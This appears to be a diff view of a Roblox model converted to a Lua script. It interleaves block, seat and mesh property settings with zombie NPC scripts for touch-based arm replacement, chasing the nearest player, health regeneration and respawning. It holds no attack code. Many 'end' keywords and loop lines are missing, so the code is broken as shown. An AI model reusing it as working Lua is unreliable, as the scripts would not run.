Part501.Rotation = Vector3.new(0, 90, 0)
6441+
Part373.Color = Color3.new(0.631373, 0.768628, 0.54902)
6442-
Part501.Color = Color3.new(0.152941, 0.27451, 0.176471)
6442+
Part373.Velocity = Vector3.new(3.59789445e-20, 0.00686328812, 3.65994592e-20)
6443-
Part501.Velocity = Vector3.new(0.205568194, -0.13802135, -0.368751109)
6443+
Part373.Size = Vector3.new(2, 1, 1)
6444-
Part501.Size = Vector3.new(4, 0.400000006, 6)
6444+
Part373.BottomSurface = Enum.SurfaceType.Smooth
6445-
Part501.BottomParamA = -0.30000001192093
6445+
Part373.BrickColor = BrickColor.new("Medium green")
6446-
Part501.BottomParamB = 0.30000001192093
6446+
Part373.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
6447-
Part501.BottomSurface = Enum.SurfaceType.Smooth
6447+
Part373.TopSurface = Enum.SurfaceType.Smooth
6448-
Part501.BrickColor = BrickColor.new("Earth green")
6448+
Part373.brickColor = BrickColor.new("Medium green")
6449-
Part501.CanCollide = false
6449+
Part373.FormFactor = Enum.FormFactor.Symmetric
6450-
Part501.LeftSurface = Enum.SurfaceType.Weld
6450+
Part373.formFactor = Enum.FormFactor.Symmetric
6451-
Part501.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6451+
Script374.Parent = Part373
6452-
Part501.TopSurface = Enum.SurfaceType.Smooth
6452+
6453-
Part501.brickColor = BrickColor.new("Earth green")
6453+
wait(1)
6454-
Part501.FormFactor = Enum.FormFactor.Plate
6454+
owner=script.Parent.Parent.Name
6455-
Part501.formFactor = Enum.FormFactor.Plate
6455+
6456-
Part502.Name = "Smooth Block Model"
6456+
function onTouched(part)
6457-
Part502.Parent = Model480
6457+
	if part.Parent ~= nil then
6458-
Part502.CFrame = CFrame.new(187.5, 9.40000343, 198.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6458+
		local h = part.Parent:findFirstChild("Humanoid")
6459-
Part502.Orientation = Vector3.new(0, 90, 0)
6459+
			if h~=nil then
6460-
Part502.Position = Vector3.new(187.5, 9.40000343, 198.5)
6460+
				if cantouch~=0 then
6461-
Part502.Rotation = Vector3.new(0, 90, 0)
6461+
					if h.Parent.Name~=owner then
6462-
Part502.Color = Color3.new(0.152941, 0.27451, 0.176471)
6462+
						
6463-
Part502.Velocity = Vector3.new(0.224553451, -0.198070019, -0.431124836)
6463+
						if h.Parent:findFirstChild("zarm")~=nil then return end
6464-
Part502.Size = Vector3.new(1, 2.4000001, 5)
6464+
6465-
Part502.BottomSurface = Enum.SurfaceType.Weld
6465+
						cantouch=0
6466-
Part502.BrickColor = BrickColor.new("Earth green")
6466+
6467-
Part502.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6467+
						local larm=h.Parent:findFirstChild("Left Arm")
6468-
Part502.TopSurface = Enum.SurfaceType.Weld
6468+
						local rarm=h.Parent:findFirstChild("Right Arm")
6469-
Part502.brickColor = BrickColor.new("Earth green")
6469+
						
6470-
Part502.FormFactor = Enum.FormFactor.Plate
6470+
						if larm~=nil then
6471-
Part502.formFactor = Enum.FormFactor.Plate
6471+
							larm:remove()
6472-
VehicleSeat503.Parent = Model480
6472+
						end
6473-
VehicleSeat503.CFrame = CFrame.new(185.5, 6.30000782, 193, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6473+
						if rarm~=nil then
6474-
VehicleSeat503.Position = Vector3.new(185.5, 6.30000782, 193)
6474+
							rarm:remove()
6475-
VehicleSeat503.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6475+
						end
6476-
VehicleSeat503.Velocity = Vector3.new(0.149548605, 0.0222175829, -0.528012276)
6476+
						local zee=script.Parent.Parent:findFirstChild("zarm")
6477-
VehicleSeat503.MaxSpeed = 50
6477+
						if zee~=nil then
6478-
VehicleSeat503.Size = Vector3.new(3, 1, 2)
6478+
							local zlarm=zee:clone()
6479-
VehicleSeat503.Torque = 25
6479+
							local zrarm=zee:clone()
6480-
VehicleSeat503.BottomSurface = Enum.SurfaceType.Weld
6480+
							if zlarm~=nil then
6481-
VehicleSeat503.BrickColor = BrickColor.new("Really black")
6481+
6482-
VehicleSeat503.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6482+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6483-
VehicleSeat503.TopSurface = Enum.SurfaceType.Smooth
6483+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
6484-
VehicleSeat503.brickColor = BrickColor.new("Really black")
6484+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
6485-
VehicleSeat503.TurnSpeed = 2
6485+
								zlarm.Parent=h.Parent
6486-
Part504.Name = "Smooth Block Model"
6486+
								zrarm.Parent=h.Parent
6487-
Part504.Parent = Model480
6487+
								zlarm:makeJoints()
6488-
Part504.CFrame = CFrame.new(189, 5.00000572, 194, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6488+
								zrarm:makeJoints()
6489-
Part504.Position = Vector3.new(189, 5.00000572, 194)
6489+
								zlarm.Anchored=false
6490-
Part504.Color = Color3.new(0.152941, 0.27451, 0.176471)
6490+
								zrarm.Anchored=false
6491-
Part504.Velocity = Vector3.new(0.161965296, -0.0198888052, -0.62620908)
6491+
								wait(0.1)
6492-
Part504.Size = Vector3.new(4, 0.800000012, 8)
6492+
								h.Parent.Head.Color=zee.Color
6493-
Part504.BackSurface = Enum.SurfaceType.Weld
6493+
							else print("no zee"); return end
6494-
Part504.BottomParamA = -0.30000001192093
6494+
						end
6495-
Part504.BottomParamB = 0.30000001192093
6495+
						wait(1)
6496-
Part504.BottomSurface = Enum.SurfaceType.Smooth
6496+
						cantouch=1
6497-
Part504.BrickColor = BrickColor.new("Earth green")
6497+
					end
6498-
Part504.FrontSurface = Enum.SurfaceType.Weld
6498+
				end
6499-
Part504.LeftSurface = Enum.SurfaceType.Weld
6499+
6500-
Part504.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6500+
6501-
Part504.TopSurface = Enum.SurfaceType.Smooth
6501+
6502-
Part504.brickColor = BrickColor.new("Earth green")
6502+
6503-
Part504.FormFactor = Enum.FormFactor.Plate
6503+
6504-
Part504.formFactor = Enum.FormFactor.Plate
6504+
6505-
Seat505.Parent = Model480
6505+
ObjectValue375.Name = "IsNZ"
6506-
Seat505.CFrame = CFrame.new(188.5, 6.20000696, 197, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6506+
ObjectValue375.Parent = Model363
6507-
Seat505.Position = Vector3.new(188.5, 6.20000696, 197)
6507+
IntValue376.Name = "Mode"
6508-
Seat505.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6508+
IntValue376.Parent = Model363
6509-
Seat505.Velocity = Vector3.new(0.202555537, -0.139003754, -0.571798027)
6509+
Script377.Parent = Model363
6510-
Seat505.Size = Vector3.new(3, 0.800000012, 2)
6510+
table.insert(cors,sandbox(Script377,function()
6511-
Seat505.BrickColor = BrickColor.new("Really black")
6511+
local larm = script.Parent:FindFirstChild("Left Arm")
6512-
Seat505.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6512+
local rarm = script.Parent:FindFirstChild("Right Arm")
6513-
Seat505.TopSurface = Enum.SurfaceType.Smooth
6513+
6514-
Seat505.brickColor = BrickColor.new("Really black")
6514+
function findNearestTorso(pos)
6515-
Seat505.FormFactor = Enum.FormFactor.Plate
6515+
	local list = game.Workspace:children()
6516-
Seat505.formFactor = Enum.FormFactor.Plate
6516+
	local torso = nil
6517-
Part506.Name = "Smooth Block Model"
6517+
	local dist = 1000
6518-
Part506.Parent = Model480
6518+
	local temp = nil
6519-
Part506.CFrame = CFrame.new(185.5, 10.8000002, 193, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6519+
	local human = nil
6520-
Part506.Position = Vector3.new(185.5, 10.8000002, 193)
6520+
	local temp2 = nil
6521-
Part506.Color = Color3.new(0.152941, 0.27451, 0.176471)
6521+
	for x = 1, #list do
6522-
Part506.Velocity = Vector3.new(0.152495772, 0.0222175866, -0.348848939)
6522+
		temp2 = list[x]
6523-
Part506.Size = Vector3.new(9, 0.400000006, 4)
6523+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
6524-
Part506.BottomParamA = -0.30000001192093
6524+
			temp = temp2:findFirstChild("Right Arm")
6525-
Part506.BottomParamB = 0.30000001192093
6525+
			human = temp2:findFirstChild("Humanoid")
6526-
Part506.BottomSurface = Enum.SurfaceType.Smooth
6526+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
6527-
Part506.BrickColor = BrickColor.new("Earth green")
6527+
				if (temp.Position - pos).magnitude < dist then
6528-
Part506.CanCollide = false
6528+
					torso = temp
6529-
Part506.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6529+
					dist = (temp.Position - pos).magnitude
6530-
Part506.TopSurface = Enum.SurfaceType.Smooth
6530+
				end
6531-
Part506.brickColor = BrickColor.new("Earth green")
6531+
6532-
Part506.FormFactor = Enum.FormFactor.Plate
6532+
6533-
Part506.formFactor = Enum.FormFactor.Plate
6533+
6534-
Part507.Name = "Smooth Block Model"
6534+
	return torso
6535-
Part507.Parent = Model480
6535+
6536-
Part507.CFrame = CFrame.new(189, 6.00000668, 198.5, 1, 0, 0, 0, -1, 0, 0, 0, -1)
6536+
6537-
Part507.Orientation = Vector3.new(0, 180, 180)
6537+
6538-
Part507.Position = Vector3.new(189, 6.00000668, 198.5)
6538+
6539-
Part507.Rotation = Vector3.new(-180, 0, 0)
6539+
6540-
Part507.Color = Color3.new(0.152941, 0.27451, 0.176471)
6540+
6541-
Part507.Velocity = Vector3.new(0.222326711, -0.199052423, -0.586394906)
6541+
	wait(math.random(1,5))
6542-
Part507.Size = Vector3.new(4, 2, 1)
6542+
	local target = findNearestTorso(script.Parent.Torso.Position)
6543-
Part507.BottomSurface = Enum.SurfaceType.Weld
6543+
	if target ~= nil then
6544-
Part507.BrickColor = BrickColor.new("Earth green")
6544+
		script.Parent.Humanoid:MoveTo(target.Position, target)
6545-
Part507.LeftSurface = Enum.SurfaceType.Weld
6545+
6546-
Part507.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6546+
6547-
Part507.TopSurface = Enum.SurfaceType.Smooth
6547+
6548-
Part507.brickColor = BrickColor.new("Earth green")
6548+
6549-
Part507.FormFactor = Enum.FormFactor.Symmetric
6549+
6550-
Part507.formFactor = Enum.FormFactor.Symmetric
6550+
Script378.Name = "Health"
6551-
SpecialMesh508.Parent = Part507
6551+
Script378.Parent = Model363
6552-
SpecialMesh508.MeshType = Enum.MeshType.Wedge
6552+
table.insert(cors,sandbox(Script378,function()
6553-
Part509.Name = "Smooth Block Model"
6553+
function waitForChild(parent, childName)
6554-
Part509.Parent = Model480
6554+
	while true do
6555-
Part509.CFrame = CFrame.new(189, 7.20000696, 201, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6555+
		local child = parent:findFirstChild(childName)
6556-
Part509.Position = Vector3.new(189, 7.20000696, 201)
6556+
		if child then
6557-
Part509.Color = Color3.new(0.152941, 0.27451, 0.176471)
6557+
6558-
Part509.Velocity = Vector3.new(0.256282896, -0.298587769, -0.538617969)
6558+
6559-
Part509.Size = Vector3.new(4, 0.400000006, 6)
6559+
		parent.ChildAdded:wait()
6560-
Part509.BottomParamA = -0.30000001192093
6560+
6561-
Part509.BottomParamB = 0.30000001192093
6561+
6562-
Part509.BottomSurface = Enum.SurfaceType.Smooth
6562+
6563-
Part509.BrickColor = BrickColor.new("Earth green")
6563+
-- declarations
6564-
Part509.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6564+
6565-
Part509.TopSurface = Enum.SurfaceType.Smooth
6565+
local Figure = script.Parent
6566-
Part509.brickColor = BrickColor.new("Earth green")
6566+
local Head = waitForChild(Figure, "Head")
6567-
Part509.FormFactor = Enum.FormFactor.Plate
6567+
local Humanoid = waitForChild(Figure, "Humanoid")
6568-
Part509.formFactor = Enum.FormFactor.Plate
6568+
Humanoid.Health=500
6569-
Part510.Name = "Smooth Block Model"
6569+
-- regeneration
6570-
Part510.Parent = Model480
6570+
6571-
Part510.CFrame = CFrame.new(180.5, 6.60000467, 190.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6571+
	local s = wait(4)
6572-
Part510.Orientation = Vector3.new(0, 90, 0)
6572+
	local health = Humanoid.Health
6573-
Part510.Position = Vector3.new(180.5, 6.60000467, 190.5)
6573+
	if health > 0 and health < Humanoid.MaxHealth then
6574-
Part510.Rotation = Vector3.new(0, 90, 0)
6574+
		health = health + 0.08 * s * Humanoid.MaxHealth
6575-
Part510.Color = Color3.new(0.152941, 0.27451, 0.176471)
6575+
		if health * 1.05 < Humanoid.MaxHealth then
6576-
Part510.Velocity = Vector3.new(0.116574809, 0.125027567, -0.449727595)
6576+
			Humanoid.Health = health
6577-
Part510.Size = Vector3.new(1, 2.4000001, 1)
6577+
		else
6578-
Part510.BottomSurface = Enum.SurfaceType.Weld
6578+
			Humanoid.Health = Humanoid.MaxHealth
6579-
Part510.BrickColor = BrickColor.new("Earth green")
6579+
6580-
Part510.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6580+
6581-
Part510.TopSurface = Enum.SurfaceType.Weld
6581+
6582-
Part510.brickColor = BrickColor.new("Earth green")
6582+
6583-
Part510.FormFactor = Enum.FormFactor.Plate
6583+
6584-
Part510.formFactor = Enum.FormFactor.Plate
6584+
Script379.Name = "Respawn"
6585-
Part511.Name = "Smooth Block Model"
6585+
Script379.Parent = Model363
6586-
Part511.Parent = Model480
6586+
6587-
Part511.CFrame = CFrame.new(190.5, 9.60000038, 194.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
6587+
name="Humanoid"
6588-
Part511.Orientation = Vector3.new(0, -90, 0)
6588+
6589-
Part511.Position = Vector3.new(190.5, 9.60000038, 194.5)
6589+
robo=script.Parent:clone()
6590-
Part511.Rotation = Vector3.new(0, -90, 0)
6590+
6591-
Part511.Color = Color3.new(0.152941, 0.27451, 0.176471)
6591+
6592-
Part511.Velocity = Vector3.new(0.171612024, -0.0407782607, -0.462966412)
6592+
	wait(1)
6593-
Part511.Size = Vector3.new(1, 2.79999995, 1)
6593+
	if script.Parent.Humanoid.Health<1 then
6594-
Part511.BottomSurface = Enum.SurfaceType.Weld
6594+
		robot=robo:clone()
6595-
Part511.BrickColor = BrickColor.new("Earth green")
6595+
		robot.Parent=script.Parent.Parent
6596-
Part511.CanCollide = false
6596+
		robot:makeJoints()
6597-
Part511.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6597+
		script.Parent:remove()
6598-
Part511.TopSurface = Enum.SurfaceType.Weld
6598+
6599-
Part511.brickColor = BrickColor.new("Earth green")
6599+
6600-
Part511.FormFactor = Enum.FormFactor.Plate
6600+
6601-
Part511.formFactor = Enum.FormFactor.Plate
6601+
6602-
SpecialMesh512.Parent = Part511
6602+
6603-
SpecialMesh512.MeshType = Enum.MeshType.Wedge
6603+
6604-
Part513.Name = "Smooth Block Model"
6604+
6605-
Part513.Parent = Model480
6605+
Part380.Name = "Spawn Location"
6606-
Part513.CFrame = CFrame.new(181.5, 9.59999943, 190.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6606+
Part380.Parent = Model362
6607-
Part513.Position = Vector3.new(181.5, 9.59999943, 190.5)
6607+
Part380.CFrame = CFrame.new(182.113556, 0.603015006, 235.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
6608-
Part513.Color = Color3.new(0.152941, 0.27451, 0.176471)
6608+
6609-
Part513.Velocity = Vector3.new(0.118539587, 0.124372646, -0.343553513)
6609+
Part380.Position = Vector3.new(182.113556, 0.603015006, 235.491455)
6610-
Part513.Size = Vector3.new(1, 2.79999995, 1)
6610+
6611-
Part513.BackSurface = Enum.SurfaceType.Weld
6611+
Part380.Color = Color3.new(0.631373, 0.768628, 0.54902)
6612-
Part513.BottomSurface = Enum.SurfaceType.Weld
6612+
Part380.Size = Vector3.new(6, 1.20000005, 6)
6613-
Part513.BrickColor = BrickColor.new("Earth green")
6613+
Part380.BottomSurface = Enum.SurfaceType.Weld
6614-
Part513.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6614+
Part380.BrickColor = BrickColor.new("Medium green")
6615-
Part513.TopSurface = Enum.SurfaceType.Weld
6615+
6616-
Part513.brickColor = BrickColor.new("Earth green")
6616+
Part380.brickColor = BrickColor.new("Medium green")
6617-
Part513.FormFactor = Enum.FormFactor.Plate
6617+
Decal381.Parent = Part380
6618-
Part513.formFactor = Enum.FormFactor.Plate
6618+
Decal381.Texture = "http://www.roblox.com/asset/?id=34541722"
6619-
SpecialMesh514.Parent = Part513
6619+
Decal381.Face = Enum.NormalId.Top
6620-
SpecialMesh514.MeshType = Enum.MeshType.Wedge
6620+
Model382.Parent = Model201
6621-
Part515.Name = "Smooth Block Model"
6621+
Model383.Name = "Zombie"
6622-
Part515.Parent = Model480
6622+
Model383.Parent = Model382
6623-
Part515.CFrame = CFrame.new(190.5, 7.00000572, 194.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6623+
Model383.PrimaryPart = Part384
6624-
Part515.Orientation = Vector3.new(0, 90, 0)
6624+
Part384.Name = "Head"
6625-
Part515.Position = Vector3.new(190.5, 7.00000572, 194.5)
6625+
Part384.Parent = Model383
6626-
Part515.Rotation = Vector3.new(0, 90, 0)
6626+
Part384.CFrame = CFrame.new(182.591461, 6.09995508, 247.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6627-
Part515.Color = Color3.new(0.152941, 0.27451, 0.176471)
6627+
Part384.Orientation = Vector3.new(0, 90, 0)
6628-
Part515.Velocity = Vector3.new(0.169909209, -0.0407782607, -0.566482961)
6628+
Part384.Position = Vector3.new(182.591461, 6.09995508, 247.48645)
6629-
Part515.Size = Vector3.new(1, 2.4000001, 1)
6629+
Part384.Rotation = Vector3.new(0, 90, 0)
6630-
Part515.BottomSurface = Enum.SurfaceType.Weld
6630+
Part384.Color = Color3.new(0.631373, 0.768628, 0.54902)
6631-
Part515.BrickColor = BrickColor.new("Earth green")
6631+
Part384.Size = Vector3.new(2, 1, 1)
6632-
Part515.CanCollide = false
6632+
Part384.BrickColor = BrickColor.new("Medium green")
6633-
Part515.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6633+
Part384.TopSurface = Enum.SurfaceType.Smooth
6634-
Part515.TopSurface = Enum.SurfaceType.Weld
6634+
Part384.brickColor = BrickColor.new("Medium green")
6635-
Part515.brickColor = BrickColor.new("Earth green")
6635+
Part384.FormFactor = Enum.FormFactor.Symmetric
6636-
Part515.FormFactor = Enum.FormFactor.Plate
6636+
Part384.formFactor = Enum.FormFactor.Symmetric
6637-
Part515.formFactor = Enum.FormFactor.Plate
6637+
SpecialMesh385.Parent = Part384
6638-
Part516.Name = "Smooth Block Model"
6638+
SpecialMesh385.Scale = Vector3.new(1.25, 1.25, 1.25)
6639-
Part516.Parent = Model480
6639+
Decal386.Name = "face"
6640-
Part516.CFrame = CFrame.new(182, 6.00000668, 189.5, -1, 0, 0, 0, -1, 0, 0, 0, 1)
6640+
Decal386.Parent = Part384
6641-
Part516.Orientation = Vector3.new(0, 0, 180)
6641+
Part387.Name = "Torso"
6642-
Part516.Position = Vector3.new(182, 6.00000668, 189.5)
6642+
Part387.Parent = Model383
6643-
Part516.Rotation = Vector3.new(0, 0, -180)
6643+
Part387.CFrame = CFrame.new(182.591461, 4.59995508, 247.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
6644-
Part516.Color = Color3.new(0.152941, 0.27451, 0.176471)
6644+
Part387.Orientation = Vector3.new(0, 90, 0)
6645-
Part516.Velocity = Vector3.new(0.102913752, 0.163859308, -0.493518174)
6645+
Part387.Position = Vector3.new(182.591461, 4.59995508, 247.48645)
6646-
Part516.Size = Vector3.new(4, 2, 1)
6646+
Part387.Rotation = Vector3.new(0, 90, 0)
6647-
Part516.BottomSurface = Enum.SurfaceType.Weld
6647+
Part387.Color = Color3.new(0.411765, 0.25098, 0.156863)
6648-
Part516.BrickColor = BrickColor.new("Earth green")
6648+
Part387.Size = Vector3.new(2, 2, 1)
6649-
Part516.LeftSurface = Enum.SurfaceType.Weld
6649+
Part387.BrickColor = BrickColor.new("Reddish brown")
6650-
Part516.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6650+
Part387.LeftParamA = 0
6651-
Part516.TopSurface = Enum.SurfaceType.Smooth
6651+
Part387.LeftParamB = 0
6652-
Part516.brickColor = BrickColor.new("Earth green")
6652+
Part387.LeftSurface = Enum.SurfaceType.Weld
6653-
Part516.FormFactor = Enum.FormFactor.Symmetric
6653+
Part387.RightParamA = 0
6654-
Part516.formFactor = Enum.FormFactor.Symmetric
6654+
Part387.RightParamB = 0
6655-
SpecialMesh517.Parent = Part516
6655+
Part387.RightSurface = Enum.SurfaceType.Weld
6656-
SpecialMesh517.MeshType = Enum.MeshType.Wedge
6656+
Part387.brickColor = BrickColor.new("Reddish brown")
6657-
Part518.Name = "Smooth Block Model"
6657+
Part387.FormFactor = Enum.FormFactor.Symmetric
6658-
Part518.Parent = Model480
6658+
Part387.formFactor = Enum.FormFactor.Symmetric
6659-
Part518.CFrame = CFrame.new(185.5, 8.00000381, 190.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6659+
Part388.Name = "Left Leg"
6660-
Part518.Orientation = Vector3.new(0, 90, 0)
6660+
Part388.Parent = Model383
6661-
Part518.Position = Vector3.new(185.5, 8.00000381, 190.5)
6661+
Part388.CFrame = CFrame.new(182.591461, 2.59995508, 247.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6662-
Part518.Rotation = Vector3.new(0, 90, 0)
6662+
Part388.Orientation = Vector3.new(0, 90, 0)
6663-
Part518.Color = Color3.new(0.152941, 0.27451, 0.176471)
6663+
Part388.Position = Vector3.new(182.591461, 2.59995508, 247.98645)
6664-
Part518.Velocity = Vector3.new(0.117491707, 0.121752933, -0.46032837)
6664+
Part388.Rotation = Vector3.new(0, 90, 0)
6665-
Part518.Size = Vector3.new(1, 0.400000006, 11)
6665+
Part388.Color = Color3.new(0.411765, 0.25098, 0.156863)
6666-
Part518.BottomSurface = Enum.SurfaceType.Weld
6666+
Part388.Size = Vector3.new(1, 2, 1)
6667-
Part518.BrickColor = BrickColor.new("Earth green")
6667+
Part388.BottomSurface = Enum.SurfaceType.Smooth
6668-
Part518.RightSurface = Enum.SurfaceType.Weld
6668+
Part388.BrickColor = BrickColor.new("Reddish brown")
6669-
Part518.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6669+
Part388.CanCollide = false
6670-
Part518.TopSurface = Enum.SurfaceType.Smooth
6670+
Part388.brickColor = BrickColor.new("Reddish brown")
6671-
Part518.brickColor = BrickColor.new("Earth green")
6671+
Part388.FormFactor = Enum.FormFactor.Symmetric
6672-
Part518.FormFactor = Enum.FormFactor.Plate
6672+
Part388.formFactor = Enum.FormFactor.Symmetric
6673-
Part518.formFactor = Enum.FormFactor.Plate
6673+
Part389.Name = "Right Leg"
6674-
Part519.Name = "Smooth Block Model"
6674+
Part389.Parent = Model383
6675-
Part519.Parent = Model480
6675+
Part389.CFrame = CFrame.new(182.591461, 2.59995508, 246.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6676-
Part519.CFrame = CFrame.new(190.5, 9.59999943, 198.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
6676+
Part389.Orientation = Vector3.new(0, 90, 0)
6677-
Part519.Orientation = Vector3.new(0, -90, 0)
6677+
Part389.Position = Vector3.new(182.591461, 2.59995508, 246.98645)
6678-
Part519.Position = Vector3.new(190.5, 9.59999943, 198.5)
6678+
Part389.Rotation = Vector3.new(0, 90, 0)
6679-
Part519.Rotation = Vector3.new(0, -90, 0)
6679+
Part389.Color = Color3.new(0.411765, 0.25098, 0.156863)
6680-
Part519.Color = Color3.new(0.152941, 0.27451, 0.176471)
6680+
Part389.Size = Vector3.new(1, 2, 1)
6681-
Part519.Velocity = Vector3.new(0.224684447, -0.200034827, -0.462966502)
6681+
Part389.BottomSurface = Enum.SurfaceType.Smooth
6682-
Part519.Size = Vector3.new(1, 2.79999995, 1)
6682+
Part389.BrickColor = BrickColor.new("Reddish brown")
6683-
Part519.BottomSurface = Enum.SurfaceType.Weld
6683+
Part389.CanCollide = false
6684-
Part519.BrickColor = BrickColor.new("Earth green")
6684+
Part389.brickColor = BrickColor.new("Reddish brown")
6685-
Part519.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6685+
Part389.FormFactor = Enum.FormFactor.Symmetric
6686-
Part519.TopSurface = Enum.SurfaceType.Weld
6686+
Part389.formFactor = Enum.FormFactor.Symmetric
6687-
Part519.brickColor = BrickColor.new("Earth green")
6687+
Humanoid390.Parent = Model383
6688-
Part519.FormFactor = Enum.FormFactor.Plate
6688+
Humanoid390.LeftLeg = Part388
6689-
Part519.formFactor = Enum.FormFactor.Plate
6689+
Humanoid390.NameOcclusion = Enum.NameOcclusion.NoOcclusion
6690-
SpecialMesh520.Parent = Part519
6690+
Humanoid390.RightLeg = Part389
6691-
SpecialMesh520.MeshType = Enum.MeshType.Wedge
6691+
Humanoid390.Torso = Part387
6692-
Part521.Name = "Smooth Block Model"
6692+
Part391.Name = "zarm"
6693-
Part521.Parent = Model480
6693+
Part391.Parent = Model383
6694-
Part521.CFrame = CFrame.new(189, 6.00000668, 203.5, -1, 0, 0, 0, -1, 0, 0, 0, 1)
6694+
Part391.CFrame = CFrame.new(182.091461, 5.09995508, 248.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
6695-
Part521.Orientation = Vector3.new(0, 0, 180)
6695+
Part391.Orientation = Vector3.new(0, 180, 0)
6696-
Part521.Position = Vector3.new(189, 6.00000668, 203.5)
6696+
Part391.Position = Vector3.new(182.091461, 5.09995508, 248.98645)
6697-
Part521.Rotation = Vector3.new(0, 0, -180)
6697+
Part391.Rotation = Vector3.new(-180, 0, -180)
6698-
Part521.Color = Color3.new(0.152941, 0.27451, 0.176471)
6698+
Part391.Color = Color3.new(0.631373, 0.768628, 0.54902)
6699-
Part521.Velocity = Vector3.new(0.288667262, -0.398123085, -0.586394906)
6699+
Part391.Size = Vector3.new(2, 1, 1)
6700-
Part521.Size = Vector3.new(4, 2, 1)
6700+
Part391.BottomSurface = Enum.SurfaceType.Smooth
6701-
Part521.BottomSurface = Enum.SurfaceType.Weld
6701+
Part391.BrickColor = BrickColor.new("Medium green")
6702-
Part521.BrickColor = BrickColor.new("Earth green")
6702+
Part391.TopSurface = Enum.SurfaceType.Smooth
6703-
Part521.RightSurface = Enum.SurfaceType.Weld
6703+
Part391.brickColor = BrickColor.new("Medium green")
6704-
Part521.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6704+
Part391.FormFactor = Enum.FormFactor.Symmetric
6705-
Part521.TopSurface = Enum.SurfaceType.Smooth
6705+
Part391.formFactor = Enum.FormFactor.Symmetric
6706-
Part521.brickColor = BrickColor.new("Earth green")
6706+
Script392.Parent = Part391
6707-
Part521.FormFactor = Enum.FormFactor.Symmetric
6707+
table.insert(cors,sandbox(Script392,function()
6708-
Part521.formFactor = Enum.FormFactor.Symmetric
6708+
wait(1)
6709-
SpecialMesh522.Parent = Part521
6709+
owner=script.Parent.Parent.Name
6710-
SpecialMesh522.MeshType = Enum.MeshType.Wedge
6710+
6711-
Part523.Name = "Smooth Block Model"
6711+
function onTouched(part)
6712-
Part523.Parent = Model480
6712+
	if part.Parent ~= nil then
6713-
Part523.CFrame = CFrame.new(185.5, 9.59999943, 190.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6713+
		local h = part.Parent:findFirstChild("Humanoid")
6714-
Part523.Position = Vector3.new(185.5, 9.59999943, 190.5)
6714+
			if h~=nil then
6715-
Part523.Color = Color3.new(0.152941, 0.27451, 0.176471)
6715+
				if cantouch~=0 then
6716-
Part523.Velocity = Vector3.new(0.118539587, 0.121752933, -0.396625936)
6716+
					if h.Parent.Name~=owner then
6717-
Part523.Size = Vector3.new(1, 2.79999995, 1)
6717+
						
6718-
Part523.BackSurface = Enum.SurfaceType.Weld
6718+
						if h.Parent:findFirstChild("zarm")~=nil then return end
6719-
Part523.BottomSurface = Enum.SurfaceType.Weld
6719+
6720-
Part523.BrickColor = BrickColor.new("Earth green")
6720+
						cantouch=0
6721-
Part523.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6721+
6722-
Part523.TopSurface = Enum.SurfaceType.Weld
6722+
						local larm=h.Parent:findFirstChild("Left Arm")
6723-
Part523.brickColor = BrickColor.new("Earth green")
6723+
						local rarm=h.Parent:findFirstChild("Right Arm")
6724-
Part523.FormFactor = Enum.FormFactor.Plate
6724+
						
6725-
Part523.formFactor = Enum.FormFactor.Plate
6725+
						if larm~=nil then
6726-
SpecialMesh524.Parent = Part523
6726+
							larm:remove()
6727-
SpecialMesh524.MeshType = Enum.MeshType.Wedge
6727+
						end
6728-
Part525.Name = "Smooth Block Model"
6728+
						if rarm~=nil then
6729-
Part525.Parent = Model480
6729+
							rarm:remove()
6730-
